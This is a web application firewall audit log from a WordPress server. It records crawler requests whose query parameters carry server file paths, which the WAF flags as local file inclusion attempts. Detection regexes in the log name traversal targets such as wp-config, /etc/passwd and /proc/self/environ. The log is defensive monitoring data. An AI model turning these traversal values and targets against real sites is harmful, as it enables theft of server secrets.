{"transaction":{"time":"13/Mar/2026:00:15:01.463682 +0100","transaction_id":"abNI9CcEc8PfaX_DCKLIjAAAAMM","remote_address":"57.141.20.32","remote_port":55610,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/JMKFilamentDB/.git/objects/39/9b48701d99d0a9cdd39bf9e6830b2a2dc67ae3 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"fd0e55dd793c9a3fa165fd2f9e0989c3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28347255"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fd0e55dd793c9a3fa165fd2f9e0989c3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/jmkfilamentdb/.git/objects/39/9b48701d99d0a9cdd39bf9e6830b2a2dc67ae3||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":7408,"p3":0,"p4":0,"p5":400,"sr":144,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:15:24.389310 +0100","transaction_id":"abNJDIn1_YFiEGJpKphKpQAAAI8","remote_address":"57.141.20.22","remote_port":55522,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/be/LC_MESSAGES/man-db-gnulib.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"86ea526489994eb14a7a618c35fc5757","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28904655"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"86ea526489994eb14a7a618c35fc5757","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/be/LC_MESSAGES/man-db-gnulib.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":282,"p2":6424,"p3":0,"p4":0,"p5":355,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:16:10.498526 +0100","transaction_id":"abNJOScEc8PfaX_DCKLJNQAAAM8","remote_address":"114.119.154.67","remote_port":59924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/247405051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.67","X-Forwarded-Proto":"http","X-Request-Id":"1e80dd37bb8fe2aa618043904e5bdcf8","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"16758038","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"1e80dd37bb8fe2aa618043904e5bdcf8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":252,"p2":4952,"p3":0,"p4":0,"p5":305,"sr":160,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:16:25.139273 +0100","transaction_id":"abNJRycEc8PfaX_DCKLJXwAAANU","remote_address":"65.109.118.212","remote_port":38554,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"c74a26edf495d4af0593ed00046009a8","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"17897515","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"c74a26edf495d4af0593ed00046009a8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":276,"p2":10756,"p3":0,"p4":0,"p5":296,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:18:26.024877 +0100","transaction_id":"abNJwYy-eB0XhjfRE2kaRAAAARU","remote_address":"65.109.118.212","remote_port":44782,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"bcd3b2bf376d02e984572dbf423822b3","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30442484","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"bcd3b2bf376d02e984572dbf423822b3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":8663,"p3":0,"p4":0,"p5":338,"sr":156,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:19:39.155771 +0100","transaction_id":"abNKCiz8c_poV-IkHVYU0wAAAYU","remote_address":"114.119.140.84","remote_port":40792,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/118804151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"c6c3ce8dd4caf6fd6b2dd9d4355e1413","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30117627","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","Upgrade":"h2,h2c","Connection":"Upgrade, close","X-Orig-Rid":"c6c3ce8dd4caf6fd6b2dd9d4355e1413","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":284,"p2":5708,"p3":0,"p4":0,"p5":331,"sr":149,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:19:42.285781 +0100","transaction_id":"abNKDScEc8PfaX_DCKLLrgAAAMI","remote_address":"57.141.20.48","remote_port":40780,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/es/LC_MESSAGES/iso_4217.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"fa5524cecb02600cd7456a88b9e5ec26","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3422831"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fa5524cecb02600cd7456a88b9e5ec26","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/es/LC_MESSAGES/iso_4217.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":345,"p2":6499,"p3":0,"p4":0,"p5":339,"sr":144,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:20:30.434998 +0100","transaction_id":"abNKPicEc8PfaX_DCKLMRAAAAMQ","remote_address":"65.109.118.212","remote_port":58294,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"b11ac52255fce60e0f237789808f9b5e","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"23570757","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"b11ac52255fce60e0f237789808f9b5e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":270,"p2":4953,"p3":0,"p4":0,"p5":359,"sr":108,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:22:06.409776 +0100","transaction_id":"abNKnScEc8PfaX_DCKLNagAAANc","remote_address":"57.141.20.11","remote_port":57006,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/ha/LC_MESSAGES/iso_3166-1.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.11","X-Forwarded-Proto":"https","X-Request-Id":"f31c5162c04b777f0e01b0f8ce6a130c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6282391"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f31c5162c04b777f0e01b0f8ce6a130c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ha/LC_MESSAGES/iso_3166-1.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":3776,"p3":0,"p4":0,"p5":345,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:22:51.453582 +0100","transaction_id":"abNKyycEc8PfaX_DCKLNpwAAANY","remote_address":"114.119.142.37","remote_port":35938,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/117871051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"87fe038e90708bed1054b62c5e6cc705","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"16560720","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"87fe038e90708bed1054b62c5e6cc705","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":242,"p2":4358,"p3":0,"p4":0,"p5":483,"sr":118,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:22:56.738476 +0100","transaction_id":"abNK0Iy-eB0XhjfRE2kdOQAAARE","remote_address":"65.109.118.212","remote_port":55618,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"a79976ebbcfa78ddabd12c694a789688","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15059190","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"a79976ebbcfa78ddabd12c694a789688","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":218,"p2":4011,"p3":0,"p4":0,"p5":316,"sr":133,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:23:26.669923 +0100","transaction_id":"abNK7icEc8PfaX_DCKLN8wAAAMo","remote_address":"57.141.20.19","remote_port":59506,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/sftproot/htdocs/jmknew.jmkconsulting-ci.com/gdata/vendor/bin/patch-type-declarations HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"03e0a9c54c935874659eb5a1b0879347","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"26319822"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"03e0a9c54c935874659eb5a1b0879347","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/dairy-products/\"] [unique_id \"abNK7icEc8PfaX_DCKLN8wAAAMo\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":277,"p2":3748,"p3":0,"p4":0,"p5":248,"sr":144,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
